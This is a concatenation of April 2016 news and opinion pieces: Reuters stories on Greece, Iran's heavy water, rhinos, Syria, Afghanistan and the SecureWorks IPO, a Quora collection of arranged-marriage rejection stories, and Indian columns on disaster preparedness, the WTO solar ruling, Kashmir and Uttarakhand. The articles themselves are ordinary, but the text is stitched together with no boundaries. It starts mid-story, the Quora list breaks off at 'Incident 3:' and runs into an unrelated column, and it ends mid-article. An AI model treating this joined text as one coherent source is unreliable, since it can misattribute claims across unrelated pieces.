In addition, the Interior Ministry had borrowed $130-$200 million from an unidentified bilateral lender, the source added, without providing details.

The failure of Mozambique, Credit Suisse and VTB to disclose the extra borrowing during negotiations to reschedule the tuna bond has infuriated investors, some of whom have threatened to sue.
Greece says cannot legislate contingent measures, working on fiscal gap solution

ATHENS, April 22 (Reuters) - Greece is working with its foreign lenders for a way to plug an estimated 2 percent fiscal gap because it could not legislate "contingent measures" as Greek law does not allow it, its Finance Minister Euclid Tsakalotos said on Friday.

"There are several proposals on the table on how to bridge the difference including taking contingent measures," Tsakalotos said after a meeting of euro zone finance ministers in Amsterdam.

"According to Greek law, you cannot legislate contingent measures ... You cannot legislate 'x' if 'z' happens in 2018 or 2019," he said. "We are in talks with our European partners to find a mechanism which will enhance (our) credibility."

Tsakalotos also said that any solution reached between Athens and its lenders in the coming days should be "credible for the lenders, investors and Greeks."
Australia may take in African rhinos to prevent extinction

By Zimasa Mpemnyama

JOHANNESBURG, April 22 (Reuters) - Wildlife groups plan to relocate 80 rhinoceros from South Africa to Australia in a bid to prevent them being hunted to extinction, one of the project's leaders said on Friday.

Poaching is on the rise in Africa, driven by demand from China and Vietnam where rhino horn, used in traditional medicine, can sell for around $65,000 per kilogram, according to estimates by conservationists.

Around 1,300 rhino were killed illegally in Africa last year.

The Australian Rhino Project and South Africa's Elephants, Rhinos and People (ERP) plan to begin relocating the animals this year to establish an "insurance population".

If the project is successful, more rhinos could be flown to other "safe havens" in Texas and Florida.

"Poachers will go where it is easy to poach. It is easier to poach rhinos in Africa than in Australia or America," ERP Director Wouter van Hoven told Reuters.

"It's not that we want to get the rhinos out of Africa but we need to put some rhinos into a safe deposit box."

The rhinos will be repatriated to their natural African habitat once the population numbers have grown and levels of demand for animal horn falls, the groups said.

Conservationists and private game reserve owners have criticised the South African government for not doing enough to protect rhinos from powerful poaching and smuggling syndicates.

South Africa, home to around 80 percent of the world's rhino, decided this week not to push for an end to a global ban on buying and selling rhino horn.

Animal reserve owners say a legal trade could help save the rhinos by using the proceeds for conservation.

"Now that the green light has been given to the criminals to continue poaching ... the rhinos are going to be much worse off," Chairman of the Private Rhino Owner's Association Pelham Jones said.
Sri Lanka's police chief vows to maintain independence in probe of ex-leader

COLOMBO, April 22 (Reuters) - Sri Lanka's new police chief, reacting to public charges of bias, said on Friday he would ensure that a police investigation into alleged financial crimes by the family and friends of former president Mahinda Rajapaksa would be impartial.

The comments from Pujith Jayasundera, who took up his post on Friday, come amid a public outcry that some top police officials are politically-motivated in the probes against Rajapaksa's allies, while refusing to look into complaints against influential politicians in the new government.

"Everything will be inquired and inquiries will continue step by step ... There will be no interference," Jayasundera told reporters in Colombo.

He asserted that nobody would be above the law, saying: "We will entertain any complaints against anybody."

Sri Lanka police has a bad reputation of politically meddling and backing governments in power.

Rajapaksa's family members are facing probes for alleged financial misappropriation by the current administration of President Maithripala Sirisena who unseated Rajapaska in polls in January 2015 and has accused his predecessor of corruption.

No allegations have been proven yet.

The new government has created a financial crime division within the police to probe into misappropriation of public funds during Rajapaksa's nine years in office.

After months of investigation, police arrested one of its own officials on Wednesday for hiding evidence in the alleged murder of a star rugby player who died in mysterious circumstances in 2012.

The government last year said three members of the presidential security guard had tortured and killed Wasim Thajudeen, who played for the national rugby side captained by Rajapaksa's second son, Yoshitha. The former president has denied any wrong doing.

Government spokesman Rajitha Senaratne has said the probe into Thajudeen's alleged murder and some other corruption inquiries were "almost completed".
U.S. to buy heavy water from Iran's nuclear program

WASHINGTON, April 22 (Reuters) - The United States will buy heavy water from Iran's nuclear program and expects it to be delivered within weeks, U.S. officials said on Friday, a move that Republican lawmakers quickly criticized.

The U.S. Department of Energy, or DOE, will buy 32 metric tonnes of heavy water from Iran worth $8.6 million, a department spokeswoman said. Heavy water is a component of making nuclear weapons and nuclear energy, that is not radioactive.

Under last year's landmark nuclear deal between Iran, the United States and five other world powers, Tehran is responsible for reducing its stock of heavy water, which it can sell, dilute or dispose of, under conditions.

Iran is permitted to keep up to 130 tonnes of heavy water at present and up to 90 tonnes once its redesigned and rebuilt Arak nuclear research reactor is commissioned.

"The United States will not be Iran's customer forever," the DOE spokeswoman said. U.S. officials hope the purchase will pave the way for other countries to buy the heavy water, which can be used in the development of semiconductors and nuclear magnetic resonance imaging.

Iran's top nuclear negotiator, Abbas Araqchi, who discussed the sale with U.S. officials in Vienna on Friday, told reporters that the 32 tonnes have been sold to an American company.

Araqchi estimated Iran has about 70 tonnes in excess of what it needs and said further sales are being negotiated with another company that is not based in the United States.

Iran, which is still under U.S. sanctions, has long had to go through third-country financial institutions for authorized transactions for items including medicine and food.

A U.S. Treasury Department official would not discuss details of the payment for the heavy water until after the purchase is complete, but said it would be completed under the same method.

"Regardless of whether or not this is in U.S. dollars, this licensed transaction is limited in scope," the Treasury official said on condition of anonymity.

Iran's compliance with the nuclear deal means that the heavy water was already removed from Iran, ensuring that it would not be used to support the development of a nuclear weapon, State Department spokesman John Kirby said.

"Our purchase of the heavy water means that it will instead be used for critically important research and non-nuclear industrial requirements," Kirby added.

The purchase, first reported by the Wall Street Journal, was slammed by Speaker of the House Paul Ryan, a Republican. Ryan said in a statement it appeared to be part of the Democratic administration's efforts to sweeten the nuclear deal with Iran and would "directly subsidize Iran's nuclear program."
Twenty civilians killed in air strikes in Iraq, Syria -U.S. military

By Idrees Ali

WASHINGTON, April 22 (Reuters) - Twenty civilians were likely killed and 11 others injured in nine U.S. air strikes against Islamic State targets in Iraq and Syria between Sept. 10, 2015, and Feb. 2, 2016, the U.S. military said on Friday.

The deaths brought the number of civilians killed since the U.S. air campaign against the Islamic militants began in 2014 to 41, said Colonel Patrick Ryder, a spokesman for U.S. Central Command. He added that 28 civilians had been injured during that time.

"We deeply regret the unintentional loss of life and injuries resulting from those strikes and express our deepest sympathies to the victims' families and those affected." Ryder said.

Eight civilians were killed during an Oct. 5 strike on a mortar firing position near Al Huwayjah, Iraq, Central Command said in a statement.

Separately, it said five civilians were killed on Dec. 12 in Ramadi, Iraq after they "unexpectedly moved into the target location after weapons were already in flight."

"In all of the cases released today, assessments determined that although the strikes complied with the law of armed conflict and all appropriate precautions were taken, civilian casualties unfortunately did occur," the statement said.

The U.S.-led coalition has carried out 11,539 air strikes against Islamic State as of April 12, with 7,794 in Iraq and 3,745 in Syria, according to U.S. military data.

"It is also important to highlight again Daesh's culpability due to their continued, cowardly tactic of hiding and operating among civilian populations," Ryder said, using the Arabic acronym for Islamic State.
Don't let Afghanistan become forgotten crisis - Red Cross official

By Emma Batha

LONDON, April 22 (Thomson Reuters Foundation) - The world must not let Afghanistan become a forgotten crisis, a senior Red Cross official said on Friday as he warned of spiralling violence, donor fatigue and a worrying "brain drain" of educated professionals.

"The international community must keep their attention on Afghanistan. It's far from being over. It's not the time to switch off," said Jean-Nicolas Marti, outgoing head of the International Committee of the Red Cross (ICRC) in Afghanistan.

He warned that violence - which is at levels not seen since 2001 - would likely escalate in the coming year.

"The security situation has really deteriorated ... and my prediction is a further deterioration," Marti said. "Potentially the 18 months ahead of us will be much tougher."

Marti is meeting government officials in European capitals and Washington to press for greater political, financial and humanitarian support.

"The message is (we need) to make sure that Afghanistan doesn't become a forgotten or ignored conflict," he told the Thomson Reuters Foundation in London.

Marti was speaking just days after a suicide attack in Kabul killed 64 people and injured hundreds more in the deadliest single incident of its kind in the capital since 2011.

The Taliban, which claimed responsibility, is believed to be stronger than at any point since it was ousted by U.S.-backed forces in 2001. Fighters loyal to Islamic State have also emerged in pockets of the country.

Marti said the ICRC had evacuated 600 war-wounded in the first three months of the year - a high number given that fighting usually tails off in winter when mountain passes are snowed in.

"It ... demonstrates that the fighting season is going to be tough this year and the humanitarian response needs to be up to it," he said.

The Taliban, which wants to drive Afghanistan's Western-backed government from power, announced the start of their spring offensive on April 12.

BRAIN DRAIN

The ICRC said it was particularly alarmed by the rising number of civilian casualties which hit a record high for the seventh successive year in 2015, with over 11,000 non-combatants killed or injured.

Attacks against medical facilities and staff have also risen 50 percent in the last year, making it more difficult for civilians to access healthcare.

Marti said the ICRC was launching a flying surgical team which will tour hospitals in provincial capitals around Afghanistan, training medical staff to respond to emergencies.

An estimated one million people are displaced within Afghanistan and others have fled abroad. Afghans are the second largest group of refugees and migrants arriving in Europe behind Syrians.

Marti warned of a "brain drain" as middle class professionals pack their bags in an exodus which could have serious implications for the country.

"What makes me pretty worried about the future of this country is that I know Afghans ... who were here 10 years ago hoping to create a future for Afghanistan and who are now picking up their belongings and fleeing to Europe or to Canada.

"(This) illustrates for me that they are losing hope for the future of this country."

Afghanistan is suffering from donor fatigue, partly because international attention was focused on Syria and Iraq, he said.
Syrian warplane crashes near Damascus, Islamic State says pilot captured

BEIRUT, April 22 (Reuters) - Islamic State fighters have captured the pilot of a Syrian warplane which crashed southeast of Damascus on Friday, a news agency affiliated to the militant group said.

"The pilot, called Azzam Eid, from Hama was captured after he fell by parachute near the site where his plane crashed east of Damascus," the news agency Amaq said.

Citing a Syrian military source, Russian news agency Interfax said the plane belonged to the Syrian Air Force and crashed because of a technical fault.

"The plane had recently undergone repairs... there was no attack from the ground. It crashed because of a technical fault. The pilot ejected," Interfax quoted the source as saying.

Interfax said the plane was a Mig-23.

A video shared online by Amaq says the plane was shot down by the jihadist group on Friday.

The footage showed Islamic State fighters around burning plane wreckage, part of which had a Syrian flag painted on it. Reuters could not independently verify the video.

Earlier on Friday Islamic State said a Syrian warplane had been shot down, but did not specifically claim responsibility.

The Syrian Observatory for Human Rights monitoring group said the plane crashed in the southeast Damascus countryside after flying over territory controlled by Islamic State. It said the fate of the pilot was not known.
UN envoy calls for major Syria meeting to save truce and peace talks

By Stephanie Nebehay

GENEVA, April 22 (Reuters) - The U.N. special envoy for Syria called on Friday for an urgent meeting of ministers from major and regional powers to sustain the threadbare truce in Syria, as well as troubled peace talks and humanitarian aid efforts.

"Yes we do need certainly a new ISSG at ministerial level," envoy Staffan de Mistura said, referring to the International Syria Support Group which includes the United States, Russia, the European Union, Iran, Turkey and Arab states.

De Mistura compared the apparently stalled political talks on Syria's future, the unravelling ceasefire agreement and the still limited humanitarian relief deliveries to the three legs of a table.

"The level of danger to the table made of three legs - and a table of three legs is always fragile by definition - (means that help) is urgently required," de Mistura said.

"When one of them is in difficulty we can make it. When all three of them are finding some difficulty, it's time to call the ISSG." He gave no date or venue for the high-level ISSG.

The envoy said he planned to continue peace talks next week, probably until Wednesday, despite the "worrisome trends on the ground", adding that he would seek clarity from government negotiators about their interpretation of political transition.

The government, which says the future of President Bashar al-Assad is not up for discussion in Geneva, says that political transition will come in the shape of a national unity government including current officials, opposition and independent figures.

"Is this going to be cosmetic, is this going to be real, and if it is real what does it mean for the opposition and so on?" he said.

Opposition negotiators have rejected any proposal which leaves Assad in power. They have also accused the government of violating a February "cessation of hostilities" agreement, pointing to air strikes on rebel-held areas which have killed dozens of people this week.

The government says rebel fighters broke the truce by joining insurgents not covered by the deal in an offensive against the army and its militia allies in the north.

"According to all objective criteria, comparing to the past this cessation of hostilities is still in effect, I repeat, is still in effect. None of the sides have renounced it, delegitimised it, and it is still in effect. But it is great trouble if we don't act quickly."

The main opposition High Negotiations Committee (HNC) has left the peace talks in protest against the escalating fighting and slow aid deliveries, leaving only a few representatives for informal technical sessions with de Mistura's team.

De Mistura conceded that the situation was "extremely polarised" between the two sides. "But luckily there is also a strong feeling of urgency in not dropping what is the 'Mother of all Issues', political transition and getting deeper in this."

De Mistura was asked to clarify his remarks on Radio Television Suisse (RTS) on Thursday night, when he used the figure of 400,000 for the death toll in the five-year conflict.
Dell SecureWorks, 2016's first tech IPO, fizzles on Wall St

By Jim Finkle and Heather Somerville

April 22 (Reuters) - The lackluster market debut of SecureWorks Corp, the cyber unit of Dell Inc, failed to rally the battered technology U.S. IPO market on Friday, a reminder that Wall Street does not welcome cash-burning companies without profits.

"I don't think it encourages anybody to hop on the bandwagon and go public," said Robert Thomas, CEO of San Francisco-based security startup CloudPassage.

SecureWorks priced below its indicated range and opened the day even lower; it also cut the number of shares it was offering from 9 million to 8 million. The shares closed Friday at $14, slightly up from their opening price of $13.89.

In the first U.S. technology IPO this year, ending the longest drought in seven years, many investors and cyber security entrepreneurs hoped SecureWorks would reinvigorate the market and instill confidence in cyber firms.

Stock market volatility last year and early this year may have scared off some listings. Cyber security companies that have put IPO plans on hold include Carbon Black, Veracode, Blue Coat and Zscaler, according to venture capitalists.

The recipient of billions of dollars of venture capital, both private and public cyber security companies have come under heightened scrutiny. Share of cyber firm FireEye, Barracuda Networks, and Rapid7, the most recent high-profile cyber security IPO, are all down by at least half.

"It's pretty tough sledding out there," said Matthew Prince, CEO of CloudFlare, who has rejected weekly solicitations from investment bankers encouraging him to take his company public.

By this time last year, six technology companies had priced IPOs, raising a total of $1.6 billion, according to Thomson Reuters data. In the first half of 2014, 23 technology IPOs had raised $3.7 billion, according to market intelligence firm Ipreo.

Demand for SecureWorks shares was hurt by factors unique to the company - growing losses and an "overhang" of unsold shares from its parent Dell, which is not publicly traded.

SecureWorks' operating loss nearly doubled to $72.4 million in fiscal 2015 as revenue climbed 30 percent $339.5 million, SecureWorks said in a U.S. regulatory filing.

Investors have an appetite for cyber security IPOs but are looking to buy into companies that are more profitable than SecureWorks, said Enrique Salem, managing director of Bain Capital Ventures.

SecureWorks President and CEO Mike Cote said the mounting losses are the result of investing heavily over the last two years, and the company would begin to see gains from that spending this year.

Hope for a popping SecureWorks IPO dimmed late Thursday, when the company priced shares at $14, below their indicated range of $15.50-$17.50.

"It's a busted IPO," said Tim Ghriskey, who helps manage $1.5 billion as chief investment officer with Solaris Asset Management.

At its closing share price, SecureWorks was valued at more than $1 billion, a bit more than half the valuation it eyed when it filed for an IPO in December, but still well above what Dell paid for the company in 2011.

Still, "this doesn't mean that there won't be more tech IPOs, or they will all be weak, " Ghriskey said.

Indeed, SecureWorks has little in common with other tech IPO contenders. The company is not backed by venture capitalists; it is based in Atlanta, rather than Silicon Valley; and it was founded nearly two decades ago.

Also, the IPO was to some extent forced by Dell's expensive merger with EMC. Dell, however, won't have access to the proceeds from the IPO.

"SecureWorks was an anomaly with the pricing and with the timing and why they went out when they did," said Sean Cunningham, managing director of Trident Capital Cybersecurity.
Arranged marriages are very common in India. And, after matrimonial websites came into existence, the practice of finding brides/grooms has caught pace. Just like any recruitment process, a boy or a girl has to go through rigorous rounds of questioning for finding their potential partners.

What do you do? What is your salary? Do you own a flat/house? Do you believe in joint family or nuclear family system? - these are a few questions that come their way during family-arranged meetings. And yes, not all meetings are successful. After several "nos", comes a "yes".

So, "What are the weirdest reasons to reject a prospective bride/groom in an arranged marriage?"

This question originally posted on Quora explains the weirdest ways an Indian boy/girl was rejected during arranged marriage meetings.

Aditi N Patel

My parents got the reference of a boy from one mediator. My father called the boy's father and shared my profile. Kundali matching and other things were done and we invited them to our home.

The boy's family looked really nice and everything went well.

Two days later, when my father didn't receive any response from them, he called the mediator to know their answer. The mediator told my father they had said "NO".

Reason: We served them samosa and sharbat instead of tea and poha.

Anonymous

This story is true.

I met this guy who was a well-placed engineering graduate, working with a good company in Pune. This was my first experience of the so-called "ARRANGED MEETING" of course with families. My family and I travelled all the way to the city they lived in on a very short notice because the prospect's parents had to go out of town later (which I think was a lie). My family was too excited and positive about this match. They made every effort to make it successful. I, on the other hand, was not very happy because I didn't want to get married this early (I was only 24). Also, I wasn't given much time to prepare myself mentally. Everything happened so fast.

The meeting was arranged in a temple at 7.00pm. I wore a light green anarkali suit (which I bought for this meeting). It was already dark. We reached. They were already there. We saw each other. The guy was fair, handsome and had a good personality (had a little belly fat though :P). His mother and sister were also too beautiful and fair. I fell for him instantly. We were given some lone time to talk and get to know each other. We talked for almost 20 minutes. The conversation went well. Meanwhile, my people served them dry fruits and juices. I had a feeling that things will turn out to be positive.

The meeting got over on a happy note and they said they would call. He turned around, smiled at me and said good night. My heart skipped a beat. I couldn't wait for the next meeting.

They called in the morning and said that they wanted to see the girl again as it was too dark in the night and her sleeves were covered. I was hurt. But still, I got up to get ready. This time, I was made to wear a sari. They came to our place and I was made to sit with them in a room where no member of my family was present. They talked to me. Everyone asked questions. He didn't say anything but only smiled throughout. We entertained them in the best possible way, with sweets and delicacies.

They again left saying that they would call. This time my family understood that their answer was NO. They never called back. It's been two years since then and we still don't know what the actual reason was. As per our speculations and the conversations, we could only conclude that they rejected me because I was dusky and didn't suit their fair-skinned son.

Hemant Desai

I will share a funny experience. This was nearly a decade back, and via an "online marriage site". After the initial confirmation of contact and the online review of profiles, I received a call from someone from the prospective bride's family. This person was someone other than the parents. The chat lasted barely two to three minutes and was largely a one-way interrogation. After the individual was satisfied, I was informed that I would receive another call within the week.

The way I was informed (not the piece of information itself) made me feel something was different. Yet, I was not sufficiently prepared. Around the same time, a few days later, I received the call from the prospective bride's mother. She had a very simple question - whether I would prefer to answer the questions on the phone, or whether she should just email me the questions, to which I would reply with written answers. At that moment, I just laughed out loud (my mind made some connections, specially since I was also involved in a lot of interviews and recruitment in those days), but controlled it quickly. They asked me if something was wrong. I said "absolutely not" and that I would wait for the mail. The mail never came. One of the great unsolved mysteries of my life is whether this was a "khandaani HR" family.

Surbhi Bharadwaj

My mom got a call from the father of groom who was very much excited to see my profile. So, they discussed the basic data and all checks were met. Then astrological data was shared and he decided to check it and let us know. Five minutes after the call, he again dialled our number and in whole excitement informed us that horoscope match is perfect and he wish to take things forward! So, my father's number was shared with him, so that they can have a discussion on next proceedings. My dad asked him to let both the kids talk and if they are fine, we can have a meeting. He wholeheartedly agreed for it and passed his son's contact number. I was informed as well that I will be receiving a call from a guy.

Then we waited for a week, no call. Two weeks, no call. Then my dad called the groom's father. And the response: We were not aware you are from Jharkhand (we have mentioned that are roots are in UP). My son-in-law was working there and he died in a accident there. My son too has visited the place and didn't like it much .

I was really unsure whether I should laugh or be happy after knowing this.

Parth Walikhindi

Incident 1:

My aunt was getting married in the '90s. She chose a guy, they met, talked and it was fixed. After the engagement there was a puja ceremony where he had to sit without a shirt, wearing a dhoti. That time my aunt saw a small black birthmark on his back. Immediately, after the ceremony she broke the engagement and married another guy.

Incident 2:

My brother-in-law was rejected by three girls before meeting my sister. One of the three was in the same profession as him. She rejected him because she was at the time earning 20,000 more than him.

Incident 3:
On the cusp of the first anniversary of the Nepal earthquake, it needs to be introspected if India's economy can withstand a jolt of such magnitude. India is a vast geographical diversity, replete with all kinds of natural disasters - floods, earthquakes, cyclones, landslides, snow avalanche, cloudbursts, tsunamis, what have we - knocking at her door every year. Can India afford to further delay its disaster preparedness?

There is a very atypical relationship between development and disasters. Disasters can set back development even as post-disaster scenario provides new opportunities for development. Similarly, development can reduce vulnerability and yet, the same development can increase vulnerability.

The Post Disaster Needs Assessment (PDNA) report after the Nepal quake estimated the total value of disaster effects (damages and losses) at NPR 706 billion (USD 7 billion).

Income shock from Nepal quake pushed additional 7,00,000 to 9,00,000 people below poverty line and post-earthquake GDP growth dropped by more than 1.5 percentage points from an estimate of 4.6 per cent in a no-quake scenario in fiscal 2015.

Close to 300 people lost their lives in Chennai floods.

An example closer home is of floods which are an annual, recurring feature across every part of the country: Gangetic hinterlands in Bihar and Uttar Pradesh, large parts of Assam that face annual flood situation, Chennai floods in December 2015, Kashmir valley floods in 2014 or the Uttarakhand tragedy of 2013 to name a few. According to a report by the parliamentary standing committee on water resources (2014-15), between years 1953 and 2012, an average of seven million hectares of land and more than 32 million people have been affected each year because of floods.

The average loss of lives during the same period was 1,653 each year, cattle loss was 96,593 each year; a whopping 12.54 lakh houses were damaged and the total damage to crops, houses and public utilities was estimated at Rs 3,612.12 crore each year. It is manifestly clear that it would gel well for India to remember how natural disasters can retard its wheels of economic progress.

As was evident with Nepal's example, economic vulnerability in face of disaster leads to increased poverty, the first on agenda - No Poverty (SGD1) - under the United Nation's sustainable development goals. In absence of economic opportunities, the second, third and fourth goals of hunger, health and education can go for a toss and this is what exactly happened in Nepal.

According to the UN, India, with a burgeoning population of 1.21 billion and per capita income of $1,352.3, fares poorly, with 21 per cent poverty rate and an abysmal human development index of 0.586. The vast size of the country isolates the area affected by natural disasters but it does leave an imprint on the income shock and pulls down the overall GDP.

Better disaster preparedness - awareness, education, better infrastructure, pre-disaster preventive measures, mitigation strategies and adequate steps for post-disaster response and later rehabilitation - is the only way the loss can be prevented. But except for cyclone handling, India's track record in disaster management is a disaster.

The National Disaster Management Authority (NDMA) has set an ambitious three-layer (national, state and district) plan to decentralise disaster management right up to district levels and guidelines and policies were drawn to that effect. On paper: so good. On ground: dud.

A 2013 CAG report about performance audit of civil disaster preparedness in India minced no words: "The NDMA neither had information and control over progress of (disaster management-related) work at the state level nor was it successful in implementation of various projects." The scathing report indicted NDMA as "ineffective in its functioning in most of the core areas."

After the 2014 Kashmir floods, an expert told me: "Natural disasters can teach us a lot, bring home lessons and substantial knowledge. Unfortunately, we have forgotten these lessons in the past at our own peril."

In view of the changes in climatic conditions due to global warming, extreme weather events are not just here to stay but for countries such as India, there has been a warning of increase in intensity in such events. The recently released The Global Risk Report 2016 mentions that the failure towards climate change mitigation and adaptation is perceived as the most impactful risk for the years to come.

It also warned of the cascading risk of the potential for climate change "to exacerbate water crises, with impacts including conflicts and more forced migration" and called for "improved water governance" to adapt to climate change and accommodate a growing population and economic development.
April 22 is Earth Day. On the occasion, UN secretary-general Ban Ki-moon will request world leaders to sign the Paris Agreement on climate change at the UN headquarters in New York.

After the historic agreement adopted by 195 countries at COP21 Conference in Paris in December, the next step is the signature of the first-ever universal, legally binding global climate deal.

During a recent press briefing, Ban noted: "It will enable us to increase ambition on a regular basis, which is essential if we are to keep global temperature rise to well below two degree Celsius." The UN boss emphasised: "It has just begun. In 2016, we must go from words to deeds."

The signature ceremony will be the opportunity for each government to start implementing the Paris Agreement and hopefully save the planet.

But don't clap too early.

At the behest of the United States, the World Trade Organisation (WTO) may derail India's ambitious solar power programme.

Responding to a US complaint, a WTO dispute panel recently ruled that several provisions of India's National Solar Mission were "inconsistent" with international trade norms.

Climate

In 2011, the Congress government had envisaged setting up 100Gw of solar capacity by 2022 under this scheme; it was a way to actively participate in the world effort to slowdown climate change; the scheme envisaged that a large percentage of the cells and panels would be manufactured in India by local companies.

Unfortunately, such provisions, known as "domestic content requirements" (DCR), are prohibited by the WTO under international trade agreements. A Delhi-based daily observed: "India's solar manufacturing industry is likely to be in the pits and thousands of job opportunities lost, thanks to a recent WTO ruling... The worrying bit is also that these module-manufacturing units are low-investment industries that have the potential to employ a very large number of semi-skilled labour."

With 300 million Indians without access to electricity, the Solar Mission was a win-win project with a dual objective: combat poverty via job creation and add to India's solar capacity.

But the US manufacturers do not see it from this angle. For them, the scheme led to a 90 per cent decrease in its solar exports to India since the inception of the mission.

Though resolutely opposed by several US environmental groups, the US manufacturers filed a WTO complaint.

In August 2015, a WTO panel released a preliminary ruling against the Indian DCR's requirements, and early 2016, the "final" ruling was announced.

Cooperation

The BBC asked the right question: "Whatever happened to all the talk of international cooperation to tackle climate change that we heard during the climate conference in Paris just a few months ago?"

Arriving at the end of its term, the Obama administration has probably forgotten "Shared Effort; Progress for All", the US-India joint statement, signed during Barack Obama's visit to India in January 2015: "President Obama and Prime Minister (Narendra) Modi share a deep concern regarding the climate challenge and understand that meeting it will require concerted action by their countries and the international community."

At the end, business is business, and for the US corporate world, the change of climate can go with the wind, money is its first and last concern.

Self-esteem

Ben Beachy, senior policy advisor, Responsible Trade Program, Sierra Club, said in a Huffington Post report: "Bringing this case is a perverse move for the United States. Nearly half of the US has renewable energy programmes that, like India's solar programme, include 'buy-local' rules that create local, green jobs and bring new solar entrepreneurs to the economy. The US government should drop this case to avoid undermining jobs and climate protections not just in India, but also at home."

Power minister Piyush Goyal. (PTI)

It is doubtful if Obama is ready to take on corporate America during an election year. In the meantime, the government of India has announced that it will appeal against the WTO verdict.

On March 24, while addressing CII Young Indians Summit, power minister Piyush Goyal had strong words too: "The US made it a prestige issue. It is very unfortunate that they pursued the complaint in the WTO. It reflects the hollowness of the US' commitment to clean energy."

Goyal added that India's capacity to produce solar components and solar cells represents only a portion of the demand of the country; this means that the foreign component makers would still have a substantial market.

Well, this is probably not new, bullies have always existed, but this time, the fate of the planet is at stake.

Even if India loses the WTO case, Delhi should stick to its environment commitments.
It is distressing to see how some politically motivated groups that believe in and endorse violent political movements all over India are hell-bent on seriously vitiating the already volatile atmosphere in the Kashmir Valley, which was fuelled this time by the condemnable acts of killing civilians by the armed force personnel.

The killing of the civilians who were not even protesting should have been avoided on all costs. The security personnel involved should be promptly investigated and prosecuted.

Even more distressing is the fact that instead of focusing on bringing the miscreants (who spread the false rumour) and the culpable army personnel and police officials who killed civilians to book, the above-mentioned parties have chosen to cynically use these tragic incidents to press their partisan case for "azadi" over the bodies of innocent Kashmiris.

The issue of Kashmir is political in nature and can only be resolved by political means. Pretending to substitute strategic work, which is required for a large political goal like "azadi", by politics over deaths of Kashmiri civilians is an act of deceit.

The use of tragic deaths to resolve deep-rooted political problems amounts to nothing more than political blackmail. Besides, no one who understands the complexities of Kashmir as a political issue would expect any resolution of the issue, or even delivery of justice to those wronged, by a politicisation of the killings.

The issue of Kashmir is political in nature and can only be resolved by political means.

Had that been the case, the issue of Kashmir would have been settled long back, as many civilians have been killed. Maturity and objectivity is needed and should be stressed by all the actors involved, such that people are not pushed further into the unending cycle of violence that has led to an irreversible damage for decades now.

The complexity of the Kashmir issue is a fact. However, we are deeply and seriously concerned that a minor girl caught in the centre of this imbroglio has, for no fault of hers, except that she happened to be a Kashmiri (and also a female), been turned into a pawn to score some political points.

It is a cruel irony that many people claiming to represent the girl have been appropriating her ordeal for the larger political goal. If we all are genuinely concerned for the girl, we should not be speaking about her testimony in front of the chief judicial magistrate.

Instead we all should try to support her, irrespective of whether any sort of violation of her rights was done by armed personnel or the local boys. An attempt to bring the girl's mother, who wasn't even present at the scene and had no further facts to offer, was utterly foolish.

Making her testify to suit a particular version of the story is condemnable, especially knowing that it has every possibility to incite further violence. Also condemnable is the circulation of the video of the girl in police custody by someone, which, one may assume, was done to clear the air of rumours and prevent violence.

Whatever be the reasons, it was irresponsible to expose the girl to public glare and this cannot be left unaccountable. The demand of certain groups that the girl be released (to them) from the "custody of the state police", which she was unwillingly dragged into in the first place by her accusers, is irrational.

We do not in the least believe that once the girl and her father are let out into the collective frenzy, the truth of the girl's traumatic experience and her initial testimonies would be safe or would not become distorted under the collective pressure of a polity that only wants to see its own version of the events reflected in her new statement.

We are worried about the physical safety of the girl and her immediate family. We also think that it is best for the girl and her family that they be promptly shifted into the safekeeping of a non-partisan party, say a neutral NGO outside the Valley - either within Jammu and Kashmir or outside the state, according to the family's wishes. This is imperative till the situation in the Valley cools down and the propensity for further bloodshed or rioting over the issue declines.

Though we believe that the girl could not be lying, we would rather pray that she is able to narrate her real ordeal without any pressure from any side. In many ways, through her initial statement that was leaked, or the reiteration later in front of a magistrate, she has ascertained the facts.

Based on these facts, the boys who threatened and manhandled her and are responsible for provoking public sentiment should be identified and held responsible for their irresponsible and condemnable act. We are more bothered about the innocent deaths and the life of the girl - her physical, mental, and emotional condition - than the politics behind it.

There have been cases of molestation being committed by the locals and armed personnel at various times in Kashmir. None of that should make us jump to conclusions or provoke us to violence.

We, as concerned Kashmiris, demand a few things, which include:

1. The state initiates a thorough investigation, which should be led by politically neutral individuals or those who are willing to keep political aims or beliefs aside for the sake of fairness.

2. Proper punishment is meted out to the culprits - the boys who beat up the Handwara girl and incited violence or the armed forces personnel who molested her (unlikely, but for the sake of fairness, it is not impossible), the person who circulated her video, and the armed forces personnel responsible for the killings.

3. The girl's safety and privacy concerns are adequately addressed. Her family's safety is ensured.

4. The girl is adequately compensated for the trauma and damage caused to her character.

We appeal to eminent people in and outside Kashmir and their respective fora to take up the case on the girl's behalf and come forward to help her and her family find a temporary shelter outside the Valley. Continuation of the concerned girl's education is another concern which needs to be addressed.

We hope people like Kailash Satyarthi (Nobel Prize winner and a great champion of child rights), Urvashi Butalia, and other leading and credible voices on human rights come forward to help the girl and her family.

Signatories:

1. Abrar Mustafa, self-employed.

2. Arshia Malik, teacher.

3. Ausifa Munshi, management professional.

4. Ifra, student.

5. Khalid Baig, entrepreneur.

6. Mushtaq Dar, sales executive.

7. Sabahat Malik, learning and development professional.

8. Sadaf Munshi, artist and academic.

9. Safeena Malik, homemaker.

10. Shafaq Shah, lawyer.

11. Shahid Hussain, procurement professional.

12. Shakir, environmental journalist.

13. Sualeh Keen, cultural critic.

14. Zainab Bin Shamim Imtiyaz, doctor.
The Centre not only has egg on its face on account of its political adventurism in Uttarakhand imbroglio, but, it has, in the process, ended up embarrassing President Pranab Mukherjee.

The Nainital High Court's landmark judgement not just upheld the tenets of the apex courts judgement in the SR Bommai case, it has, in fact, set a new precedent. Henceforth, presidential decisions can also be subject to judicial review, with the court observing that even the President could make mistakes hence "his decisions are open to judicial scrutiny".

Opening up the venerable President of India to such a review and embarrassment could have well been avoided if the Centre had listened to his sage advice.

The President, we gather, had reservations about the government's move to impose Presidents Rule in the state. It so transpires that on March 26 night, after the Union cabinets recommendation of Presidents Rule reached his desk, Pranab Mukherjee, after carefully perusing the recommendation urged the central government to reconsider.

President Pranab Mukherjee.

Later that evening, Prime Minister Narendra Modi despatched Union finance minister Arun Jaitley, to persuade the President to sign the proclamation.

Under the Constitutional scheme of things, the President can raise queries, and can even send back the cabinets recommendation to the government, but is duty bound to accept it if the Union cabinet decides to reiterate or send back the recommendation to the President.

President Mukherjee knows the Constitution better than most, and left with no recourse, he duly signed the proclamation on March 27. He is known to be a stickler for constitutional propriety, and his decision not to push the issue beyond a point was guided primarily by his desire to avoid a constitutional crisis, which would have resulted if he refused to sign the proclamation.

Uttarakhand CM Harish Rawat.

